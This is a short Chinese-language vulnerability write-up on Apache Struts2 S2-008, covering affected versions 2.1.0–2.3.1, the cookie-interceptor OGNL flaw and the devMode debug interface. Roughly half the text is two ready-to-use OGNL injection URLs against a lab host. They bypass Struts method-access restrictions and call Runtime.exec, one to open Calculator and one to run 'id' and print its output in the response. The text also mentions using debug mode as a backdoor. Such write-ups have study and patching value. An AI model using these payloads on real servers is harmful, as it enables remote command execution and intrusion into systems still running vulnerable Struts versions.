S2-008 远程代码执行漏洞
受影响的版本:2.1.0 - 2.3.1
详情:http ://struts.apache.org/docs/s2-008.html
参考
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
S2-008 涉及多个漏洞。cookie拦截器配置问题会导致OGNL表达式执行,但大多数web容器(如Tomcat)对cookie名称有字符限制,部分关键字符不能使用。还有一点就是如果struts2开启
devMode
模式,有多个调试界面可以直接查看对象信息或者执行命令。正如 Kxlzx(作者)提到的,这种情况在真实环境中几乎是不可能的。所以它变成了它非常没用,但我不认为它是绝对的。可以破解一个在服务器上打开debug
模式的 struts2 应用程序作为后门。
例如?debug=command&expression=<OGNL EXP>
在devMode
mode中添加参数,OGNL表达式会直接执行,可以执行命令:
1 | http://192.168.44.132:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29) |
其他payload:
1 | http://192.168.44.132:8080/S2-008/devmode.action?debug=command&expression=#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close() |